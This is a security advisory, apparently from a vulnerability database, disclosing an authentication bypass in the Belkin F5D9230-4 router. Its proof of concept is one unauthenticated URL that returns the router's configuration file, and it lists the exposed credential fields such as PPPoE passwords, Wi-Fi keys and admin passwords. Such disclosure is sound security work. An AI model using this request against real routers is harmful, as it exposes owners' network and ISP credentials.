Belkin Wireless G Plus MIMO Router F5D9230-4 Authentication Bypass Vulnerability

Advisory Content :

##

## VULNERABILITY:

##

## Belkin Wireless G Plus MIMO Router F5D9230-4

## Authentication Bypass Vulnerability

##

##

## AUTHOR:

##

## DarkFig < gmdarkfig (at) gmail (dot) com >

## http://acid-root.new.fr/?0:17

## #acidroot (at) irc.wordlnet (dot) com [email concealed]

##

##

## INTRODUCTION:

##

## I recently bought this router for my local

## network (without modem integrated), now I can tell

## that it was a bad choice. When my ISP disconnects

## me from internet, in the most case I have to reboot

## my Modem and the Router in order to reconnect.

## So I coded a program (which send http packets) to reboot

## my router, it asks me the router password, and reboots it.

## One day I wrote a bad password, but it worked. So I

## decided to make some tests in order to see if there was

## a vulnerability.

##

##

## DESCRIPTION:

##

## Apparently when we the router starts, it create a file

## (without content) named user.conf, then when we go to

## SaveCfgFile.cgi, the configuration is save to the file

## user.conf. But the problem is that we can access

## (and also change) to the file SaveCfgFile.cgi without

## login.

##

##

## PROOF OF CONCEPT:

##

## For example we can get the configuration file here:

## http://<ROUTER_IP>/SaveCfgFile.cgi

##

## pppoe_username=...

## pppoe_password=...

## wl0_pskkey=...

## wl0_key1=...

## mradius_password=...

## mradius_secret=...

## httpd_password=...

## http_passwd=...

## pppoe_passwd=...

##

##

## Tested on the latest firmware for this product

## (version 3.01.53).

##

##

## PATCH

##

## Actually there is no firmware update, but I contacted the

## author, if they'll release a patch, it will be available here:

## http://web.belkin.com/support/download/download.asp

## ?download=F5D9230-4âŒ©=1&mode=

##

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

Belkin Wireless G Plus MIMO Router F5D9230-4 Authentication Bypass Vulnerability